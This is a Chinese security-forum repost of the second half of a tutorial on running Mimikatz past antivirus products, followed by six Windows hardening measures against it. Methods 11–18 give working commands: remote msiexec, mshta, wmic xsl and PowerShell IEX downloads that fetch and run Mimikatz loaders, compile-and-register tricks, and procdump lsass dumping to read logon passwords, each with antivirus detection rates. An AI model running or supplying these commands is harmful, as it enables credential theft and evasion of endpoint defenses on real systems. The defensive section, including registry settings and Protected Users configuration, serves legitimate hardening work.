安全矩阵

 找回密码
 立即注册
搜索
查看: 3305|回复: 0

Mimikatz的18种免杀姿势及防御策略(下)

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-5-11 11:06:07 | 显示全部楼层 |阅读模式
原创 重剑无锋 Tide安全团队 今天
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
转载:Mimikatz的18种免杀姿势及防御策略(下)

方法11-用C#加载mimikatz(VT查杀率35/73)
参考https://www.jianshu.com/p/12242d82b2df
参考`远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70):https://mp.weixin.qq.com/s/Kvhfb13d2_D6m-Bu9Darog
下载
[backcolor=rgba(0, 0, 0, 0.03)]https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/katz.cs

将katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727先powoershell执行​​​​​​​
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='$Content = [System.Convert]::FromBase64String($key)Set-Content  key.snk -Value $Content -Encoding Byte再cmd执行​​​​​​​
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe
运行时需要管理员权限,而且360会拦截

43.png

放行后可正常执行

44.png

virustotal.com上katz.exe查杀率为35/73,略惨。

45.png

方法12-JS加载mimikatz(VT查杀率22/59)
参考`远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58):https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA
这个是大佬已经做好的payload,可以直接进行使用。
用DotNetToJScript实现
https://github.com/tyranid/DotNetToJScript
mimikatz
[backcolor=rgba(0, 0, 0, 0.03)]https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.js
执行cscript mimikatz.js,360会拦截。
​ 46.png
46.png

放行后可正常执行

47.png

virustotal.com上mimikatz.js查杀率为22/59。

48.png

方法13-msiexec加载mimikatz(VT查杀率25/60)
参考`远控免杀专题(35)-白名单Msiexec.exe执行payload(VT免杀率27-60):https://mp.weixin.qq.com/s/XPrBK1Yh5ggO-PeK85mqcg
使用Advanced Installer生成msi文件。
远程执行
[backcolor=rgba(0, 0, 0, 0.03)]msiexec.exe /passive /i https://raw.githubusercontent.co ... mikatz/mimikatz.msi /norestart

49.png

本地执行
msiexec /passive /i Mimikatz.msi

50.png

virustotal.com上mimikatz.msi查杀率为25/60。

51.png

方法14-白名单msbuild.exe加载(VT查杀率4/59)可参考之前的远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57):https://mp.weixin.qq.com/s/1WEglPXm1Q5n6T-c4OhhXA
下载mimikatz.xml
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/executes-mimikatz.xml
执行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes-mimikatz.xml
火绒会预警,360不会

52.png

virustotal.com上executes-mimikatz.xml查杀率为4/59。

53.png

方法15-JScript的xsl版(VT查杀率7/60)下载
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl
本地加载
wmic os get /format:"mimikatz.xsl"
远程加载
wmic os get /format:"https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl"

54.png

放行后

55.png

virustotal.com上mimikatz.xsl查杀率为7/60。

56.png
方法16-jscript的sct版(VT查杀率23/59)

参考远控免杀专题(37)-白名单Mshta.exe执行payload(VT免杀率26-58):https://mp.weixin.qq.com/s/oBr-syv2ef5IjeGFrs7sHg
下载
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct
执行
[backcolor=rgba(0, 0, 0, 0.03)]mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.co ... mikatz/mimikatz.sct").Exec(); log coffee exit
360拦截依旧

57.png

virustotal.com上mimikatz.sct查杀率为23/59。

58.png

方法17-ReflectivePEInjection加载(VT查杀率32/57)
ReflectivePEInjection是powersploit里的比较有名的一个pe加载脚本,很好使。
下载
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1
执行
[backcolor=rgba(0, 0, 0, 0.03)]powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl "http://10.211.55.2/mimikatz/x64/mimikatz.exe" -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

59.png

这个用什么来衡量免杀都不太合适,我就用Invoke-ReflectivePEInjection.ps1吧。在virustotal.com上Invoke-ReflectivePEInjection.ps1查杀率为32/57。

60.png

方法18-导出lsass进程离线读密码(VT查杀率0/72)
windows有多款官方工具可以导出lsass进程的内存数据,比如procdump.exe、SqlDumper.exe、Out-Minidump.ps1等,我这里以procdump.exe为例进行演示。
procdump.exe工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。
procdump.exe下载https://github.com/TideSec/Bypas ... mikatz/procdump.exe
在目标机器执行下面命令,导出lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
再使用mimikatz读取密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

61.png

在virustotal.com上procdump.exe查杀率为0/72,不过这种读取lsass的行为早就被各大杀软拦截了,所以这种静态查杀没有太大参考价值。

62.png

我们团队的诺言大佬写过一篇可绕过卡巴斯基获取hash的方法,可以看这个https://mp.weixin.qq.com/s/WLP1soWz-_BEouMxTHLbzg
0x04 防御mimikatz的6种方法

由于mimikatz工具太厉害,横向移动必备神器,所以针对mimikatz的加固方法也有不少,这里简单介绍几种。
方法1-WDigest禁用缓存WDigest.dll是在Windows XP操作系统中引入的,当时这个协议设计出来是把明文密码存在lsass里为了http认证的。WDigest的问题是它将密码存储在内存中,并且无论是否使用它,都会将其存储在内存中。
默认在win2008之前是默认启用的。但是在win2008之后的系统上,默认是关闭的。如果在win2008之前的系统上打了KB2871997补丁,那么就可以去启用或者禁用WDigest。
KB2871997补丁下载地址:

  1. Windows 7 x86 [url]https://download.microsoft.com/download/9/8/7/9870AA0C-BA2F-4FD0-8F1C-F469CCA2C3FD/Windows6.1-KB2871997-v2-x86.msu[/url]

  2. Windows 7 x64 [url]https://download.microsoft.com/download/C/7/7/C77BDB45-54E4-485E-82EB-2F424113AA12/Windows6.1-KB2871997-v2-x64.msu[/url]

  3. Windows Server 2008 R2 x64 Edition [url]https://download.microsoft.com/download/E/E/6/EE61BDFF-E2EA-41A9-AC03-CEBC88972337/Windows6.1-KB2871997-v2-x64.msu[/url]
复制代码
启用或者禁用WDigest修改注册表位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential 值设置为 0, WDigest不把凭证缓存在内存,mimiktaz抓不到明文;UseLogonCredential 值设置为 1, WDigest把凭证缓存在内存,mimiktaz可以获取到明文。
在注册表中将UseLogonCredential 值设置为 0,或者使用命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

63.png

我们可以通过如下命令来测试修改是否生效:
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
如果成功,系统应该会返回如下内容:

64.png

注销后重新登录,发现mimikatz已经无法获取明文密码。

65.png

方法2-Debug 权限
Mimikatz在获取密码时需要有本地管理员权限,因为它需要与lsass进程所交互,需要有调试权限来调试进程,默认情况下本地管理员拥有调试权限,但是这个权限一般情况是很少用得到的,所以可以通过关闭debug权限的方法来防范Mimikatz。

66.png

删除上图的administrators组,这样管理员也没了debug权限。
注销后再执行mimiktaz,获取debug权限时发现报错。

67.png

方法3-LSA 保护
自Windows 8.1 开始为LSA提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名。 在LSA Protection保护模式下,mimikatz运行 sekurlsa::logonpasswords抓取密码会报错。
可以通过注册表开启LSA Protection,注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa新建-DWORD(32)值,名称为 RunAsPPL,数值为 00000001,然后重启系统生效。
或者使用命令来完成
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f

68.png 重启后再执行mimikatz.exe,发现已经无法获取密码。

69.png

此时其实可以从磁盘上的SAM读取凭据,执行
mimikatz # privilege::debug
mimikatz # token::whoa
mimimikatz # token::elevate
mimikatz # lsadump::sam

70.png

方法4-受限制的管理模式
对于 Windows 2012 R2 和 Windows 8.1 之前的旧操作系统,需要先安装补丁KB2871997。
先在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 设置RunAsPPL为1然后在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 设置 DisableRestrictedAdmin为0 , DisableRestrictedAdminOutboundCreds为1。
然后需要在域中强制执行“对远程服务器的凭据限制委派”策略,以确保所有出站RDP会话都使用“RestrictedAdmin”模式,因此才不会泄露凭据。
具体位置是组策略:计算机配置--管理模板--系统--凭据分配--限制向远程服务器分配凭据,选择已启用,但是我的环境里选项一栏中没有看到Require Restricted Admin。

在执行 lsadump::cache时报错,ERROR kuhl_m_lsadump_secrets0rCache:kull_m_registry_RegOpenKeyEx (SECURITY) 0x00000005该错误,是注册表增加了LSA保护所起到的。

72.png

方法5-禁用凭证缓存Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。如果域控制器不可用,那么windows将检查缓存的最后一个密码hash值,这样为以后系统对用户进行身份验证。缓存位置如下:
HKEY_LOCAL_MACHINE\SECURITY\Cache
在组策略中设置禁用缓存
计算机配置--windows设置--安全设置--本地策略--安全选项 交互式登录:之前登录到缓存的次数(域控制器不可用时) 默认是10,设置为0

73.png

注销后再次执行mimikatz,没有读取到任何用户数据。

74.png

方法6-受保护的用户组
WindowsServer 2012及更高版本使用了引入了一个名为“Protected Users”的新安全组,其他系统需要安装 KB2871997 补丁才会有。
此组使域管理员能够保护本地管理员等有权限的用户,因为属于该组的任何帐户只能通过Kerberos对域进行身份验证。
这将有助于防止NTLS密码哈希值或LSAS中的纯文本凭据泄露给敏感帐户,这些帐户通常是攻击者的目标。
可以在“Active Directory用户和计算机”中找到“Protected Users”安全组。

75.png

在配置之前,使用mimikatz可读取明文密码。

76.png

可以通过执行以下PowerShell命令将帐户添加到“受保护的用户”组中:
Add-ADGroupMember –Identity 'Protected Users' –Members administrator

77.png

注销后再次执行mimikatz,已经看不到administrator用户的密码了。

78.png

0x05 小结
通过对mimikatz免杀的研究,也算是对之前的远控免杀专题文章进行了重温和实践,整理了几种能适用于任意exe文件的免杀方法,最起码以后看到杀软不会那么咬牙切齿了。
1、源码级免杀应该是效果比较好的,不过对编程能力、免杀经验要求比较高,不少大佬手头上都有私藏定制的全免杀的mimikatz,很多都是通过源码处理后再编译来免杀的。
2、通过修改资源、签名、pe优化修改等方式相对简单一些,不过免杀效果也差了一些,很多时候静态查杀能过,但行为查杀就废了。
3、针对powershell来加载或执行mimikatz时,免杀主要针对powershell脚本,免杀效果也很好,不过你在目标机器上怎么执行powershell而不触发杀软行为检测是个问题。
4、加载器的免杀效果整体算不错,当然donut是个例外,因为他开源而且知名度比较高,里面特征码被查杀的太厉害,如果稍微修改下源码再编译应该会好很多。
5、白名单执行大部分还是使用了将C#程序转为js的方法,静态免杀效果还不错,但白名单最尴尬的是远程调用时杀软都会拦截报警,在2008服务器上你用webshell调用任意程序最新的360都会拦截。
0x06 参考资料

防御mimikatz抓取密码的方法:https://zhuanlan.zhihu.com/p/59337564
Bypass LSA Protection:https://xz.aliyun.com/t/6943
防御Mimikatz攻击的方法介:https://www.freebuf.com/articles/network/180869.html
九种姿势运行Mimikatz:https://cloud.tencent.com/developer/article/1171183
Mimikatz的多种攻击方式以及防御方式:http://blog.itpub.net/69946337/viewspace-2658825/
简单几步搞定Mimikatz无文件+免杀:https://www.jianshu.com/p/ed5074f8584b



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 10:28 , Processed in 0.016002 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表